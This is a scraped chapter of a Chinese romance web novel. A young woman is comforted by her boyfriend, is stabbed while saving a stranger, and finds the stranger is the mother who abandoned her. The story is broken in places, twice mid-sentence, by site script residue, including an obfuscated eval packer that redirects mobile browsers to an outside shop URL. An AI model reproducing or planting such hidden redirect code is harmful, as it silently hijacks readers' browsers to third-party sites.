温夏对景栩的喜欢,确实都是由无数个微小的瞬间堆砌而成,后来聚沙成塔,慢慢变得厚重起来。他出现的那么多个瞬间,的确都是闪着光的。如果非要从那么多个瞬间里选一个最闪光的,那么一定是这一刻——原本该在京北的他,披着风霜雨露,满身温柔地出现在她面前。 他毫无道理地出现,倒给了她一些勇气。 累积在心里的那些委屈顷刻间爆发,在一起以来,她第一次对景栩作了要求。 她此刻,十分,需要一个拥抱。 景栩慢慢靠近,将她拥在怀里。 他的怀抱很温暖,她感觉到僵硬的全身慢慢在他的怀抱里柔化,左胸腔的那颗心脏也是。 景栩借着走廊里的光,将她抱到床上。 动作极为小心温柔。 他返回门边,捡起房卡放进卡槽,房间在三秒后明亮起来。 温夏此时很狼狈,刚才开门时看到她的第一眼,他的心脏像是重重地往下沉了一瞬。 她头发被淋湿了,有几缕黏在脸上她也全然不在意,似乎感觉不到;眼睛又红又肿,整个人看起来很疲惫;脚上的鞋沾了泥,脏兮兮的,肯定湿着,而距离他给她打电话已经过去了好几个小时,她仍没换上干净的鞋袜…… 她朝他说“抱”的瞬间,他感觉到心被狠狠揪了一下。 他终于明白,她喝醉那晚,看到她像小猫一样蜷缩在地毯上时那抹说不清的情绪是什么。 是心疼。 他心疼温夏。 她这样,估计是又被那个所谓的“大伯一家”给欺负了。 他对温夏并不是毫无印象。 他印象里的温夏,坚韧倔强,不服输,善良……她身上总有一股极淡的洗衣粉香,笑起来眼睛弯弯,认定的事会坚持到底,即使被亲戚一家欺负成那样,她也从来没有说过他们任何不是。相反,她对旁人描述的“大伯一家”是善良而温暖的。 他曾看到她冒雨为巷子里的流浪猫搭了个简易猫棚,供它们遮风避雨;重逢后,听外婆在青外任教的学生说起过温夏,她参加过不少志愿活动,参加的除了一个打架子鼓的社团,剩下的都是去支教的社团和协会。 命运从来没有善待过她,可她不曾埋怨半句。 甚至朝世界释放出自己全部的善意。 即使他不认识她,仅仅是从旁人嘴里听到关于她的事。 他也会觉得。 这样的姑娘,值得一切美好的东西。 ——至少,不是像现在这样。 他一言不发地从抽屉里拿出一双一次性拖鞋,拆开,走到她身边蹲下,想替她换鞋。 温夏在他有所动作之前将腿往回收:“我自己来吧。” 景栩抬头,看到她眼底碎掉的星光。 她避开他的视线,“很脏。” 他叹了口气,轻声告诉她:“温夏,我是你男朋友,是你可以依靠的人。” 他知道她独立,也知道她在他面前有时候拧巴的原因。无非就是不想欠他,至少在感情上,不想落下风。 可他们又不是在博弈,非得要分个输赢。 他顿了顿说:“这点小事你都要避开我,不想麻烦我,会让我觉得,我这个男朋友对你来说可有可无。” 温夏低垂着眉眼,没看他,也没说话。 察觉到她没那么抗拒后,他起身去打了热水,帮她脱了被弄脏的鞋袜,给她擦了脚,然后换上干净的拖鞋。 景栩刚才抱她的时候,感觉到她的衣服也是湿的,语气温柔道:“洗去个热水澡。” 温夏终于抬眼看他:“马上。” 景栩点点头,环视一圈,确认她没带行李:“去洗,我出去买衣服。” “……好。” “饿不饿?” “有点儿。” “嗯。”景栩顿了一瞬问:“内衣穿多大码?” “……”温夏脸烧起来。 明明都亲过了,也不知道自己在害臊什么。 景栩看出她的为难,退了一步:“一会儿发我手机上。” 他说完就出了门,五分钟后,他收到了温夏的内衣尺码。 树阳是个小县城,这个点营业的店不多,他跑了挺远才买齐一整套衣服。 到酒店的房间门口,没有房卡的他给温夏发消息,等了大概五分钟门才被打开。 温夏头发湿漉漉的,滴着水,身上围了块浴巾,胸前露出大片雪白,很晃眼。 景栩看了一眼便偏过头,将手里的东西递给她。 温夏拿着东西溜回浴室,很快换好衣服出来。 她抿了抿唇,犯了会儿纠结后走到景栩面前:“景栩,我累了,不想动。” 景栩唇角浮起微小的弧度:“那我伺候你。” 说话的间隙,他已经把吹风机拿了过来。 景栩边吹着头发,温夏边打开他打包回来的那份馄饨。 温夏心底莫名生出一种满足感。 头发吹干后,她问景栩:“你怎么来了。” “不知道。”景栩说,“只是觉得,这个时候,我应该在你身边。” 温夏眼眶一热:“景栩,你不能对我太好。” 我怕自己会依赖你,我害怕以后分开了,再遇不到如你一般的人。 那样我会更难过。 景栩听到这话笑了,弯腰同她平视:“我对别人好你乐意?” 温夏情绪这会儿缓过来了,想起他说答辩时间也在这几天:“你什么时候答辩?” “明天。” 还没等温夏出声,他弯腰将她抱到了床上,关了灯,然后在她身边躺下,将她整个人拥进怀里,声音听起来倦极了:“下午四点。明早十一点的飞机,只能睡三个小时。” “我买了两张票,你要不要跟我一起走?”他问。 这场景有些像不被家人祝福的恋人躲在一个小破旅馆里,男生问女生“要不要跟我私奔”。 沉默片刻,她听到自己回答:“好啊。” 房间内安静下来,温夏能听到他的心跳声。 她轻声叫他:“景栩。” “嗯。” “对不起。” 景栩抬手揉了把她的头发:“你道哪门子歉?” “……” “应该的。”景栩似是叹了口气。 温夏知道,这个世界上,从来就没有任何一种付出是应该。 景栩嗓音低沉,似喃喃:“睡觉了。” 过了会儿,景栩忽然说:“对不起。” 温夏学着他刚才的语气:“你道哪门子歉?” “……我应该陪着你的。” “你不是在这吗。” “我应该,早点在你身边的。” 温夏听懂了他的言外之意。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ——那样的话,可以叫你少受些苦。 - 温夏一晚上都没怎么睡着。 明明两个小时前还下了一场雨,此时月亮高悬,窗帘只拉了层薄纱,清辉大面积铺洒在房间,让人莫名觉得今天白天一定是晴空万里的好天气。 她看着景栩。他大概是累极了,此时睡得很沉,胸口有节奏地起伏着,眉眼安静。 她抬起手,仔细描绘着他眉眼的轮廓,无声弯了弯唇。 原来。 被人爱着是这种感觉啊。 景栩定的闹钟很快响了,他像是怕吵到温夏,反应过来的第一时间就按了停止。而后立刻看向温夏,发现她醒着。 他伸手揉了揉她的脑袋:“起来了。” 他们出发的早,这个点客运站和火车站都还没开门。景栩联系了朋友送他们去机场,他刚说完,朋友的电话也正好打进来,说几分钟到青禾酒店。 他们只是简单洗漱一下,下楼时一辆白色大众正好停在酒店门口。 副驾的车窗降下来,温夏才发现景栩说的朋友是齐子尧。 这些年都没有他消息,温夏有些惊喜。 他似乎变了些,变得更黑也更壮了。 上车后,温夏问起齐子尧近况。 他说本来想复读一年去找黄筝,但那一年他父亲在工地上出了事故,家里的钱全都要出来治病,房子也卖了。他那年高考分数超过一本线二十多分,要是一切顺利,等暑假一过就能去黄筝的学校了。 他从来没跟黄筝说过自己要考去她的学校,也从来没有表达过心意。 父亲出事后,他负担不起学费,也没去念了。 母亲为这事儿还跟他大吵一架,但最后也没能改变什么。 他高中毕业后去省外打了一年工,两年后想着母亲一个人照顾不了生活不能自理的父亲,存了点钱后又回来了。 回来后家里并不安生,催债的亲戚豺狼虎豹似的。齐子尧没办法,辗转找到了景栩,朝他借了笔钱。 景栩借给他的钱还完债,还剩些,他就用来盘了个店面,做点小生意。 他本来担心生意失败,欠债更多,但幸好情况不算坏。半个月前,他把欠景栩的钱还清,还有余钱在县城付了一套三室一厅的首付,买了现在开的这辆二手车。 他说到这,无力地哼笑一声:“老天爷好像还没完全瞎掉。” 他本来想填完志愿联系黄筝,但世事无常,那句排练过千百次的告白再也没机会说出去。 车开到半路,齐子尧还是没忍住问了温夏:“她这几年怎么样?” 上大学后,温夏和黄筝也很少联系了。 但从她发的朋友圈看,她这几年过的不错。 齐子尧等红灯的间隙点了支烟:“那就好。” 温夏没说,黄筝大二那年就发朋友圈官宣了男朋友,一周前,她看到黄筝发了条朋友圈说“毕业照和结婚证一起领啦”。 到机场入口,齐子尧解了安全带,下车同他们拥抱道别。 高中时他们关系亲如家人,他知道温夏一旦走出树阳就很难再回来。 他像大哥哥一样拍了拍她的肩:“温夏,继续牛逼下去。走得远远的,活得漂亮点儿。” 温夏忽然眼眶一热,有千言花语萦绕在脑海,要说的太多,却不知道从何说起。 临分别前,千言万语化成一句“珍重”。 43. 最可爱 一下飞机,景栩就先在手机APP上订了一间酒店,就在学校附近,出了学校正门左拐一百米就到。 他先带温夏去了酒店,办完入住后,他拿出手机点了份外卖,在电梯里嘱咐她:“买了点儿吃的,大概半个小时送过来。你吃完先睡一觉,我结束就过来。” 温夏整宿没睡,此刻脑袋混沌着,听他说完,好一会儿才点头表示听见了。 景栩知道她这是没睡好,脑子宕机中,在她脸上轻轻捏了捏,边捏边笑。 温夏迟缓地拍下他的手:“笑什么?” “没。”景栩说,“女朋友太可爱了。” “……” 电梯停在所在楼层时,温夏才反应过来。 然后后知后觉地害羞了。 景栩没多待,大手扣住她脖子蹭两下:“我就先走了?” “嗯。” 景栩挑眉,轻啧一声。 温夏反应慢半拍地看过来,眼皮上撩,眨眨眼传达出“你干什么?”的疑问。 “我女朋友好像没有舍不得我,有点难过呢。”景栩故意逗她。 她眼尾慢慢拉过来,缓声道:“但是你女朋友的男朋友再不走可能就赶不上答辩了。” “……” 女朋友一点都不解风情,景栩差点气笑。 他凑上去在她嘴唇上轻一下就退开,再不走真来不及。 他在酒店楼下扫了辆共享单车骑回宿舍拿电脑。 A大的建筑专业是五年制,景栩的寝室一共四个人,只有他一个能提前毕业。 他提前修满了五年所需要修的所有学分,入学以来绩点也稳居第一,大一下学期进入京北市最大的事务所实习,拿到了十分出色的实习评价报告;大二时参与赵蔺羌教授的科研团队,历经三年研发出新型绿色建筑材料并且预计在后年年初在小范围内投入应用;独立设计出一座咖啡馆,斩获国家级奖项,现在那座叫“未居名”的咖啡屋已经小有名气,成了网红打卡点……同时还和朋友创立了工作室。 之后他提交了提前毕业的申请,审批流程下来,他成了他们这届少数可以提前毕业的学生,同时还拿到了五所国外顶尖学府的offer。 他拿了电脑就立刻飞奔下楼赶去答辩,像他昨天打了个电话后就火急火燎跑出去那般。 大学这四年,追他的天之骄女数不胜数,他却一直没谈过恋爱。 直到前段时间他发朋友圈官宣。 所有人都在猜测到底什么样的人能站在他身边,但最后不知道从哪传出来的,对方普通又平凡,二人门不当户不对。 估计很快就会分手。 但很快不知道从哪传出:女方是从不知名小县城考出来的,在千军万马里单枪匹马杀出一条走到青外的血路。她大学四年参加过不少比赛,拿过不少大大小小的奖;四年间,在一众手握先天优势的青外学子里,出类拔萃;绩点从未跌出过前五,年年都将国家奖学金收入囊中;据说还在一次交流会里担任过某位大人物的随行翻译;大四保研青外,没准儿以后市面上词典的编撰者里就有她的名字。 一个是名不虚传的天之骄子,一个是当之无愧的逆袭人生大女主。 这么一看,两人珠联璧合。 景栩答辩结束当晚,吃饭的时候,景栩把这些话讲给温夏听。 他说得平静,她却听得心脏乱跳。 她从来不知道,在别人的描述里,她这么优秀。 景栩看到她的反应,满意地笑了。 他何等聪明,没多久就想清楚为什么温夏在他面前总是小心翼翼。她明明最有骄傲自信的资本,却总莫名显出自卑。 她理当底气十足地站在任何人面前。 她的优秀由他来说,大概率不会被她听进去,但毫不相干的人将这个事实说出来就不一样。 他没告诉温夏,是他占用了学校论坛和表白墙的资源,匿名发了这些帖子。 但他喜欢温夏,从来也不是因为这些外在的光环。 他喜欢的,是像野草一样生生不息的温夏。她柔软又有锋芒,在任何环境下都能冲破桎梏迅速生长。 温夏看完那些帖子,放下手里的汤勺,抬眼看向他。 眼底带着迷茫。 “看吧。”景栩对上她视线时微微一笑,“温夏真的很厉害。” 他说这话时下巴微扬,一副与有荣焉的模样。 温夏真的很厉害。 极为平常的一句话,温夏却立刻心有灵犀似的懂了他的意思。 他没有加任何的前缀,没有给她任何世俗上的定义。温夏就是温夏,不是某人的附属,也不用加任何可爱的前缀作昵称。 温夏顿一瞬。 和景栩在一起好几个月了,她仍时时感受到幸运。 她也希望,景栩会觉得身边有她是一件幸运的事。 温夏不太会表达这些矫情的话,眼看着气氛快要沉下去,她忽然恶作剧般眨眨眼,而后缓慢问出一句:“只是很棒吗?” 这突如其来的一句,景栩没懂。 温夏再度开口:“你不夸夸我别的吗?” 这句景栩懂了,反应过来后笑得发颤:“夏夏想让我夸什么?” “不漂亮吗?” “漂亮。” “不可爱吗?” “温夏全世界最可爱。” 温夏没想到他这么配合,哽住一瞬后生硬地扔出一句:“吃饭吧。” “还有呢——”他拖腔带调,漫不经心,故意卖了个关子,话说一半就停了。 温夏:“什么?” 他凑近,一片薄薄的气息落在温夏耳朵周边的皮肤上,嘴唇也不知道是故意还是无意浅浅擦过她的耳轮尾处,低声说: “温夏和景栩,天生一对。” 他说完就看到温夏的耳朵红了。 他的女朋友,好像不太禁逗。 - 温夏只请了三天假。 头两天,景栩带她逛完了A大,吃遍了A大周边的美食,见了朋友。 第三天,温夏早早起来,洗漱完后才去喊景栩。 景栩睡眼惺忪,伸手一拉,温夏往床上倒,他顺势将人按在怀里:“我记得今天没什么安排。多睡会儿。” “有安排的。” “什么?” “你先起来再说。” 景栩洗漱完,问:“什么安排?” “拍毕业照。” 昨天和朋友聊天的时候说起因为他情况特殊,不属于任何一个今年毕业的行政班级,所以就没拍毕业照。 景栩只一秒就反应出来了,女朋友这是想帮他弥补一个不起眼的遗憾。 他低头笑了:“昨天一直看手机,是为了找约拍?” “嗯。” 他捧起他的脸,在她唇瓣上亲了一下,把那句话重复了一遍,只是换了个称谓:“我女朋友全世界最可爱。” 温夏对他这套还是没能免疫,被他一撩,就偏头避开了他的视线。 温夏约的摄影师在网上小有名气,很擅长拍关于青春的细枝末节。 温夏看到他的时候,就十分笃定,他会把景栩拍得很好看。 结束时摄影师说景栩这组照片不用怎么修,原图今晚就回发到温夏手机上。但由于之前的排单还没返完,一周后才能给出精修图。 拍完写真,两人就急急忙忙往机场赶。 回堰青的飞机上,温夏看到窗外绵密柔软的云,云层像是被镶了金边,有薄薄的光浮在上面。 她看着这一幕忽然笑了。 景栩把她的手放在掌心:“什么事儿这么高兴?” “因为有好事发生。” “嗯?” “因为感觉,日子好像在变好。” 她实现了年少时的愿望,在堰青度过了四个四季,看了数不清的雪,走出了树阳,站到了景栩身边,成为可以同他并肩而行的人…… 最重要的,是她能够感觉到,自己正一步一步地,走进景栩的生活。 景栩捏着她的手指:“会越来越好。” 他说这句话时,语气难得严肃,像是在承诺她什么。 她把视线从窗外的云层上移到他身上,发现他正漫不经心地低着头,神色如常。仿佛刚才语气里的正经和严肃只是错觉。 但更像是——这是他完全有把握的事,对他来说,完成这件事就像完成他优秀履历上的任何一件事那样简单。他默认了这是一个既定事实,所以他表现平常。 温夏敛眸收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13917357|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回视线想,似乎这样,也没什么不妥。 从航站楼出来,两人往不远处的露天停车场走去。 宋陆鸣已经到了一会儿了,看到他们点烟的动作停住,捏着打火机的那只手高高抬起:“这里。” 景栩没什么行李,许多东西早在答辩前已经寄回,这会儿就拎着一个小包,里面是之前留在宿舍里的几件日常的换洗衣服。 车上,宋陆鸣说约了个局,问他俩要不要一起过去。 景栩直接拒绝:“不去。” 宋陆鸣一个白眼翻过去:“夏夏去不去?” 温夏也婉拒了,这几天有点累,她想好好休息一下。 宋陆鸣撇撇嘴没强求,“去景栩那儿?” “去学校。” 宋陆鸣没再说话,把温夏送到后,又把景栩送了回去。 温夏一挨枕头就睡着了,她是被饿醒的。 她强撑着困意爬起来,想着真的不能通宵,到现在她都觉得身体是漂浮着的。 她刚醒过来,景栩的消息也正好进来,说他二十分钟到青外,问她晚上想吃点什么。 从宿舍到学校门口也差不多二十分钟脚程,她回了句“都可以”,然后随便洗了把脸就出了门。 青外校门口是一条宽阔的马路,她站在校门口等了会儿,发现马路对面一个女人被尾随。 女人很瘦,一身的穿搭价值不菲,手里的皮包孙洁妮也有一个,小几万。 女人对被尾随这事儿浑然不觉,走到红绿灯口,她停下来,像是准备过马路。 她转过身的时候,温夏看到她的正脸,呼吸一滞。 正好行人绿灯,女人迈开步子走过来,离她越来越近。她的呼吸也越来越紧。 温夏想,女人察觉到她的目光了,但只把她当做一个奇怪的陌生人,因为女人从马路对面过来后,只是淡淡扫了她一眼当做对她过于直白的目光的回应,只两秒就将目光移开。 尾随女人的男人紧紧跟在身后,女人走到她身边时,温夏看到男人从腰间掏出把匕首,直直地朝女人刺去。 温夏大脑来不及反应,将女人推开,而与此同时刀已经刺了下来,温夏伸手推开女人时小臂被刺伤。 鲜血红得刺目。 人群瞬间混乱起来,伴随着尖叫四散着逃开。 在混乱中,温夏看到男人举起刀再次向女人刺去。她还想冲上去,被一道力量拉住,随即是一句冷沉的:“站着别动。” 下一秒他看到景栩冲出去,将男人踢倒在地。匕首“哐当”一声掉在地上,景栩眼疾手快将匕首踢远,纵身约过障碍物,将男人控制住。 有人报了警,很快警察将涉事人员全部带回派出所。 做完笔录出来,温夏在派出所里看了一圈,没有看到刚才同他们一起被带过来的女人。 她眼底闪过一抹失落。 门口的警察走过来,递给她一张纸:“和你们一起来的那女人留下的,她说有急事先走,如果您需要报酬,可以打这个电话。” 温夏接过,温声道了谢。 景栩沉默着拉她上了出租车,然后去了医院。 医生替她做了清创,包扎了伤口。 从医院出来,景栩拦了辆出租车,冲司机报了地址,然后手指放在纱布上轻轻摩挲着:“还疼不疼?” 他想起刚才看到的场面。 她看到歹徒拔刀,没像别人一样想着跑,反而义无反顾地扑上去保护那个女人。受了一次伤还不够,第二次还想用身体去挡。 他不敢想,要是自己晚到一步,会是什么后果。 他又急又气,但还是尽量压制着情绪,不想再吓到她:“夏夏,商量一下。下次遇到这种事儿,先跑行不行?你又不是铜墙铁壁,万一出点事儿怎么办……” 他话没说完,温夏忽然开口:“景栩。” 她眼眼底弥漫着浓雾似的哀伤,像冬天深不见底的湖水,景栩看得心头一惊,顿了两秒:“怎么了?” 温夏没立刻回答,而是偏头看向窗外飞速倒退的景色,像是在酝酿什么。 她实在不知道怎么说,不知道从何说起。 最终她选择了最质朴直接的方法:“那个女人……叫陈杏。 “是我妈妈。” 44. 像蛋黄 这话景栩听得一愣。 他在树阳时就知道,她是跟大伯和大伯母一起生活,没跟父母住一起。 但更多的他就不知道了。 那个时候,对他而言她只是普通同学多了层普通邻居的关系,没兴趣多问。 后来…… 后来就不敢问了。 温夏说:“我以为,我这辈子都不可能再见到她了。” 没想到以这种方式遇见。 但妈妈似乎没有认出她,不知道什么原因她做完笔录先走了。 急事,什么急事呢? 温夏想,或许对她来说,只是被一个正义感爆棚的大学生救下。 温夏一直以为,即使她们某一天相见,她或许也认不出妈妈。 她以为。 自己早就忘了妈妈的模样。 可远远地,几乎是在看到她脸的一瞬间,温夏就确认了她的身份。 景栩张了张嘴不知道说什么。 温夏从来没在他面前提过家里人,就连大伯和大伯母都很少提。 要说唯一一次提起,就是她喝醉那晚,抱着他的脖子软软地喊“妈妈”。 冷不丁冒出这么一个母亲,景栩还有些无措。 温夏手里捏着那张写有电话号码的纸条,垂着眼,视线落在上面,看起来却更像是落在虚空处。 她分不清自己这样的心情是激动、期盼,还是抗拒。她只知道,心脏在胸腔猛烈跳动了许久,也没办法平息。 景栩许是知道她的纠结,握住她的手。 二人无言,温夏却读懂了他动作里的意思——无论何种情况,他都站在她身边,当她的后盾。 温夏瞬间不再纠结,她拿起手机解了锁。 或许是出于猝不及防的重逢后尴尬,温夏一时没想好说什么,那边的人“喂”了两声之后,温夏听到那边传来男人的声音“谁打来的?” 下一秒她听见陈杏说:“没说话,可能是打错的。” 这句话说完,电话也被挂了。 之后的半个月,温夏的生活无波无澜,依旧每天上班加班下班,偶尔和景栩抽出点儿时间约会。 日子如常,平静得就好像她半个月前没见过陈杏。 只是,温夏这半个月来,会偶尔把那串号码拿出来看。 这天,温夏把手上的剧本润色完,给自己放了个假。 她按时下班,出了公司门等景栩。 公司最近来了个富二代实习生,每次来上班,她的母亲都会亲自送她来公司,下班了也会亲自来接她。 她来的第一天就在工作群里发了个大红包,一副耳钉就是普通员工好几个月的工资。她从来不加班,每次遇到不顺心或者看不惯的直接开怼,为人倒也不傲慢,部门的人都还挺喜欢这个性格直爽的小姑娘。 这天温夏因为不加班,和她一起在公司门口等。 两人随便聊了几句,富二代家的车先到了。 不出意外的,温夏看到了富二代的舞蹈家妈妈照旧带着花来接她下班,细心地替她整理被风吹乱的头发。 温夏忽然生出羡慕。 她看着那辆车远去,车子彻底消失在视野的时候,她听到耳边传来一句:“喂?” 温夏手一抖,她不知道什么时候拨出了那串号码。 半个月来,她只看过那串号码两次。 却在无意识的时候就烂熟于心。 眼看着陈杏又要挂电话,温夏急忙出声:“请问,是陈杏陈女士吗?” “是的。您是……?” 温夏慌张到手抖了一下,思忖着要怎么说,最后她选了一个安全的说法:“那天在派出所,您给我留了一张纸条。” 电话那端顿住一瞬,而后说:“那天我有点急事儿所以先走了,你什么时候方便,我请吃个饭吧。” 温夏抿着唇,她不管陈杏想不想见到她,她都想试一下。 沉默两秒,她决定还是和陈杏见一面:“都可以,看您什么时候空。” “你明晚有时间吗?”陈杏问。 “有的。” “云堑路有一家粤菜馆,就在那儿,怎么样?” “好。” 挂断电话后,温夏还有些恍惚。 如果不是通话记录,她甚至会以为刚才的一切只是存在于自己脑海里的一场幻觉。 有人在她眼前打了个响指,抬眼一看,发现景栩正一脸温柔地看着她:“想什么呢,这么入神。” 温夏笑起来,眉梢都染上了些许笑意:“我和她约了明天见面。” 景栩知道她说的是谁,被她的开心感染到,唇边笑意扩大:“今晚带你去吃好吃的。” “回家随便吃点就行。” “那怎么行。夏夏今天这么高兴,冲这份高兴,得庆祝一下。” 温夏一顿。 他要庆祝,不是因为什么惊天动地的大事儿,只是因为她高兴。 后来的他们聊起这个,景栩一脸笑意地反驳她:“女朋友的心情,怎么不算是惊天动地的大事?” 吃饭的时候,温夏夹着菜好半天没吃,而是自言自语似的说了句:“我没跟她说我是谁。” “别担心。”景栩给她夹了块里脊,“她或许也很期待着见温夏,胜过期待见一位在青外门口救过她的陌生人。” - 温夏第二天特意请了半天假,回住处换了身衣服,还在网上搜了一个妆教教程,特意打扮了一番才出的门。 和陈杏约定的时间是晚上七点,温夏提前了一个小时到。 陈杏是六点半到的。 等着陈杏赴约的这半个小时,温夏时不时就要检查一下妆容,眼睛总是控制不住地,看向店门口。 每进来一个人,她一次次满怀期待却又一次次落空。 不过好在是把人等来了。 陈杏今天看起来格外温柔,一身黑色及踝长裙,十分温婉。她落座后看到温夏提前给她点好的那杯温水,微笑着说了声谢谢。 因为两人完全没有话题可聊,气氛尴尬了很长一段时间。 陈杏点菜的时候,温夏视线偷偷落在她身上。 她看起来比记忆里完全是两个人。 最后一次见她,是在外婆葬礼上,她狠心抛下她离开那天,她才二十八岁,现在算一算已经四十二了。 菜上齐后,陈杏说:“这家粤菜馆不错,我很多朋友都喜欢过来,你尝尝看。” 温夏尝了一口菠萝咕噜肉,她没尝出什么味道,粤菜也不是她爱的口味,仍笑着说了句“好吃”。 她看着陈杏,轻声问:“那天没来得及问您,您受伤了吗?” 陈杏摇头:“一点皮外伤,不碍事。” 说完,她从包里拿出一个牛皮袋递给温夏:“这里是两万块钱,不多,谢谢你那天救了我。” 温夏没接,来回推拉几次后,陈杏才把钱放回了包里。 温夏知道对于陈杏来说,自己只是个陌生人,她再问下去会显得很冒昧,但她还是没忍住试探的心:“那天……那个人是……” 她没把话说得太明白,陈杏看起来并不在意:“和我丈夫生意上有些矛盾,那天他是喝醉了……不重要,他的判决书快下来了。” 话音刚落,陈杏手机响了。 她看了温夏一眼,温夏读懂了她的询问:“没关系,您接吧。” 接通的那瞬间,温夏听到一声“妈”,电话那边的人问:“你跟我爸什么时候回来?我回来拿点儿东西,没钥匙开门。” 陈杏:“我一时半会儿回不去,你爸这个点差不多到家了。” 电话那边说:“知道了。” 挂断这通视频电话,陈杏有些无奈地笑笑:“我儿子,说是没人在家开不了门,明明给了他一把钥匙,从小就丢三落四的……说起来,他也是青外的学生,今年大一,十八岁,没准儿你们还认识呢。” 儿子…… 今年十八岁…… 只比她小四岁。 他说起儿子的时候,虽然语气嫌弃,脸上却一直挂着笑容,眉眼间不经意流露出温柔。 温夏扯着唇微笑,尽量用平静的语气:“他的兄弟姐妹也没在家吗?” 陈杏没察觉出异样:“我呀,就他这么一个儿子。之前怀过二胎,但三个月就胎停了,后来身体不允许,不然也挺想他有个兄弟姐妹的。” 只有这么一个儿子吗? 温夏捏着筷子的手不自觉用力,指尖泛白。 这顿饭温夏食之无味,而陈杏似乎也只是为了应酬,想赶紧结束。 所以这顿饭结束得早,桌上的菜看起来和刚端上来时没什么两样。 和陈杏分别后,温夏想,陈杏这些年应该过得不算差。 她身上穿的衣服、用的香水、背的包包、戴的首饰,虽然都不是什么大牌奢牌,但价格都挺漂亮,这些都昭示着她过的不错。她有新的家庭,生了一个儿子……看她的状态,应该很幸福。 外婆总跟她说:“夏夏,你妈妈很爱你的,她只是没办法,你不要怪她。” 所以,她宁愿相信陈杏在她的生命里消失这么多年,是有迫不得已的理由。 她想,可能陈杏这些年也不好过,所以不想把她接过来一起受苦;或许她也在无数个日夜拿出她的照片说“宝贝女儿”等过段时间妈妈就去接你;或许她知道自己是温夏后,也会激动得睡不着觉…… 只是现在,她没有办法再这么骗自己了。 陈杏说,她只有一个儿子,全然否定了她的存在。 她终于想明白小时候外婆为什么总是用一种悲悯眼神看着她;为什么每次对她说完“你乖乖的妈妈就会回来接你”后,总会湿了眼眶;为什么会在预感到自己快要去往极乐时,留下一句“我的夏夏,以后只有你一个人了,要好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967818|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活”…… 生下她的人根本不想见她,甚至宁愿从来没有生下过她。 听邻居们说,当初陈杏并不想嫁给温虔,是外婆非要逼她出嫁。老一辈的思想,想要把儿女留在身边,等自己老了后有个“养老保险”。 温夏想,自己对陈杏来说,也许更像是一段无法抹除的屈辱烙印。 陈杏根本不想见她,根本不会愿意她出现在她的生活里。 时隔多年,温夏终于明白外婆口中说出来的那些“妈妈的爱”,和她自己给陈杏找的那些借口,统统都不存在。 她给景栩发去消息:【还在忙吗?】 景栩很快回:【刚忙完。】 温夏:【一起吃晚饭吧。】 景栩的电话打进来,她滑动接听,景栩问:“不顺利?” 温夏不知道怎么描述刚才的那场会面,她以为自己很平静,说话时嗓音却染上了哭腔:“还行,就是……和陌生人吃饭那样。” 景栩:“给我发个位置。” 一小时后,景栩接到她:“想吃什么。” “没什么胃口,”她似是太疲倦,靠在车椅上,闭着眼,有气无力地说,“我们回去吧。” “好。”景栩说着,侧身给她系好安全带。 车上。 沉默在狭窄的车厢内蔓延。 好几分钟后,温夏才睁眼,轻声说:“景栩,她不想要我。” “温夏。” “嗯?” 恰好前方一个红灯,停下车后,景栩腾出一只手在她后颈轻轻揉了揉,伴随着偶尔从车流里传过来的鸣笛,他说—— “回家了。” 温夏听懂了他的意思。 他在告诉她——没关系,温夏,我给你一个家。 他就这么平静的说出来。 就好像,他把她放在他未来的计划里规划了好久。 甚至——在他心里,他早就把那个住所,当成了他们共同的家。 温夏看他,目光一直没从他身上移开。 这是她第一次,用这么直白且勇敢的目光望向他。 他身后夜景快速倒退。 本来她觉得今晚的街景老旧古朴,和他从树阳离开那天一样朦胧沉闷。 但听完他这句话,一切在顷刻间变得明亮起来。 到家后,景栩蹲下给她换拖鞋:“还想吃点东西吗?” 他起身后,温夏靠在他胸口上:“充充电。” 景栩轻拍着她的背,等她靠了会儿将她横抱起来,抱到客厅的沙发上,开了沙发旁的落地灯后,在她面前半蹲下来。 沙发上的人扎了低马尾,头绳不知道什么时候松了,一绺头发侧下来,落地灯灯光柔和,映在她的一半身子上。 景栩抬手轻轻捏着她的脸,两秒后往旁边稍移,替她将这绺头发别到耳后,柔声问:“出去吃饭?对街那家火锅不是馋很久了。” “不想去。” “给你煮碗面?” “……好。” 景栩煮的面说不上好吃,甚至因为没怎么进过厨房,放调料的时候掌握不了量,那碗面还有些难吃。 但温夏全给吃完了。 她对食物一向不怎么挑,在大伯家,温悦可以挑食,不喜欢吃的直接扔到一边,大伯母就让她重新给温悦做一份。 她不能挑,挑了就什么都没有。 温夏把在今天和陈杏见面的细节告诉景栩:“我想问她过得好不好,但我不敢听她的答案,所以我没问。 “我怕她说她过得不好,那么她抛下我的这十几年我就不该恨她怨她……可是,我又怕她说自己过得好。 “我怕我更加怨她,怨她为什么明明生活得很好,这十几年都不回来找我……一次都没有。我怕自己这十几年的怨成笑话,更怕她根本不爱我。” 景栩想起她曾在路灯下,借着醉意说的那句“希望下辈子也有很多很多人爱我”。 她毕业答辩和典礼那天,他本来都提前买好机票了,可是毕设临时出了些问题,他被绊住。 那天,他从机场往回赶,到A大校门口时,特意给外婆去了个电话,希望外婆能去陪陪她。 这样,她不至于孤苦伶仃。 